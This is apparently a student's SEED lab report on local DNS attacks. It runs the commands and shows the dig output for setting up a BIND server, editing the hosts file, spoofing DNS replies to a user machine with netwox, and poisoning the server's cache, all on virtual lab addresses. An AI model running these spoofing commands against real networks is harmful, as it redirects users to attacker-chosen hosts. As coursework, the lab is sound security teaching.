SEED LAB5

57117111 蒋涛

Local DNS Attack Lab

Task1: Configure the User Machine

- Add an entry to the file

```
nameserver 10.0.2.4
```

- DNS server setup successfully

```
;; QUESTION SECTION:
;www.seu.edu.cn.                        IN      A

;; ANSWER SECTION:
www.seu.edu.cn.         3600    IN      CNAME   widc142.seu.edu.cn
.
widc142.seu.edu.cn.     3600    IN      A       58.192.118.142

;; AUTHORITY SECTION:
seu.edu.cn.             172800  IN      NS      seic8.seu.edu.cn.
seu.edu.cn.             172800  IN      NS      seic2.seu.edu.cn.

;; ADDITIONAL SECTION:
seic2.seu.edu.cn.       172800  IN      A       202.119.24.12
seic8.seu.edu.cn.       172800  IN      A       202.119.24.18

;; Query time: 1406 msec
;; SERVER: 10.0.2.4#53(10.0.2.4)
;; WHEN: Tue Sep 15 03:19:23 EDT 2020
```

Task2: Set up a Local DNS Server

- Configure the BIND 9 server

```
dump-file "/var/cache/bind/dump.db";
```

- Turn off DNSSEC

```
// dnssec-validation auto;
dnssec-enable no;
```

Task3: Host a Zone in the Local DNS Server

- Dig www.example.com after configuration

```
;; ANSWER SECTION:
www.example.com.        259200  IN      A       192.168.0.101

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.example.com.         259200  IN      A       192.168.0.10
```

The IP address of www.example.com is 192.168.0.101.

Task4: Modifying the Host File

- Modify the HOSTS file

```
127.0.0.1       localhost
127.0.1.1       VM
10.0.2.5        www.bank32.com
```

- `ping` www.bank32.com before and after modification

```
PING bank32.com (34.102.136.180) 56(84) bytes of data.
64 bytes from 180.136.102.34.bc.googleusercontent.com (34.102.136.
180): icmp_seq=1 ttl=48 time=175 ms
```

```
PING www.bank32.com (10.0.2.5) 56(84) bytes of data.
64 bytes from www.bank32.com (10.0.2.5): icmp_seq=1 ttl=64 time=0.
801 ms
```

We get answer from 34.102.136.180 before modification while 10.0.2.5 after modification. So the host will enquire the HOSTS file first rather than remote DNS lookups.

Task5: Directly Spoofing Response to User

- Create fake DNS response

```
[09/15/20]seed@VM:~$ sudo netwox 105 --hostname www.exampl.net --h
ostnameip "12.13.14.15" --authns "ns.exampl.net" --authnsip "16.17
.18.19" --device "enp0s3" --filter "src host 10.0.2.6"
```

- User machine gets attacked

```
[09/15/20]seed@VM:~$ dig www.exampl.net

; <<>> DiG 9.10.3-P4-Ubuntu <<>> www.exampl.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 602
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITION
AL: 1

;; QUESTION SECTION:
;www.exampl.net.                        IN      A

;; ANSWER SECTION:
www.exampl.net.         10      IN      A       12.13.14.15

;; AUTHORITY SECTION:
ns.exampl.net.          10      IN      NS      ns.exampl.net.

;; ADDITIONAL SECTION:
ns.exampl.net.          10      IN      A       16.17.18.19
```

Task6: DNS Cache Poisoning Attack

- Spoof the response from other DNS servers

```
[09/15/20]seed@VM:~$ sudo netwox 105 --hostname www.example.net --
hostnameip "12.13.14.15" --authns "ns.example.net" --authnsip "16.
17.18.19" --device "enp0s3" --filter "src host 10.0.2.4" --ttl 60
--spoofip raw
```

- User machine check hostname

```
;; QUESTION SECTION:
;www.example.net.               IN      A

;; ANSWER SECTION:
www.example.net.        60      IN      A       12.13.14.15
```

The address is redirected to 12.13.14.15.

- DNS server's cache gets poisoned

```
[09/15/20]seed@VM:~$ sudo rndc dumpdb -cache && sudo cat /var/cach
e/bind/dump.db| grep example
ns.example.net.         16      NS      ns.example.net.
www.example.net.        16      A       12.13.14.15
```

Within the `ttl`, the DNS server will keep sending the wrong response to the user who wants to visit www.example.com.